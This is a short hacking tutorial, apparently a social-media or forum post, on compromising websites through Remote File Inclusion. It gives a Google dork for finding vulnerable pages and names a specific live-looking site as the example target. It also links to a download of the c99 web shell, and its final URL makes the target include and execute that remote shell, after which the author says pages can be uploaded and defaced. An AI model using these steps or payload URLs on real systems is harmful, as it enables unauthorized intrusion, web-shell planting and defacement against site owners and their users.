How To Hack Sites Using Remote File Inclusion
@its_me_kali
Lets Start
1st Find a Vunerable websites using Google Dork
“inurl:index.php?page=” its Most Popular Dork of RFI hacking
“inurl:index.php?page=” its Most Popular Dork of RFI hacking
This will show all the pages which has “index.php?page=” in their URL, Now to test whether the
website is vulnerable to Remote file Inclusion or not the hacker use the following command
www.targetsite.com/index.php?page=www.google.com
See example of this website http://www.cbspk.com
So the hacker url will become
http://www.cbspk.com/v2/index.php?page=http://www.google.com
If after executing the command the homepage of the google shows up then then the website is
vulnerable to this attack if it does not come up then you should look for a new target. In my case
after executing the above command in the address bar Google homepage shows up indicating
that the website is vulnerable to this attack.
Now the hacker would upload the shells to gain access. The most common shells used are c99
shell or r57 shell. I would use c99 shell. You can download c99 shell from the link below:
http://www.sh3ll.org/c99.zip
The hacker would first upload the shells to a webhosting site such as ripway.com,
viralhosts.com,110mb.com or another free hosts etc. Now here is how a hacker would execute
the shells to gain access. Lets say that the url of the shell is http://www.sh3ll.org/c99.txt?
Now here is how a hacker would execute the following command to gain access
http://www.cbspk.com/v2/index.php?page=http://www.sh3ll.org/c99.t xt?
Don't Forget To add “?” after .txt at the end of url or else the shell will not execute. Now the
hacker is inside the website and he could do anything with it he can upload & deface pages.
